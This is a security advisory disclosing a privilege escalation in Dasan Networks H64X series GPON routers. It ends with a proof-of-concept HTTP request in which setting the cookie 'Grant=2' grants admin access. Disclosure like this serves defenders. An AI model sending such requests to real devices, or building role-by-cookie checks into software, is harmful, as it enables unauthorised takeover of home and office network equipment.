Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation

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Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation  
  
  
Vendor: Dasan Networks  
Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu  
Affected version: Model: H640GR-02  
H640GV-03  
H640GW-02  
H640RW-02  
H645G  
Firmware: 2.77-1115  
2.76-9999  
2.76-1101  
2.67-1070  
2.45-1045  
  
Summary: H64xx is comprised of one G-PON uplink port and four ports  
of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It  
helps service providers to extend their core optical network all the  
way to their subscribers, eliminating bandwidth bottlenecks in the  
last mile. H64xx is integrated device that provide the high quality  
Internet, telephony service (VoIP) and IPTV or OTT content for home  
or office. H64xx enable the subscribers to make a phone call whose  
quality is equal to PSTN at competitive price, and enjoy the high  
quality resolution live video and service such as VoD or High Speed  
Internet.  
  
Desc: The application suffers from a privilege escalation vulnerability.  
A normal user can elevate his/her privileges by changing the Cookie 'Grant'  
from 1 (user) to 2 (admin) gaining administrative privileges and revealing  
additional functionalities or additional advanced menu settings.  
  
Tested on: Server: lighttpd/1.4.31  
Server: DasanNetwork Solution  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2017-5423  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5423.php  
  
  
19.05.2017  
  
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Change cookie Grant=1 (user) to Grant=2 (admin):  
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GET /cgi-bin/index.cgi HTTP/1.1  
Host: 192.168.0.1:8080  
Upgrade-Insecure-Requests: 1  
User-Agent: Bond-James-Bond/007  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.8,mk;q=0.6  
Cookie: Grant=2; Language=macedonian; silverheader=3c  
Connection: close  
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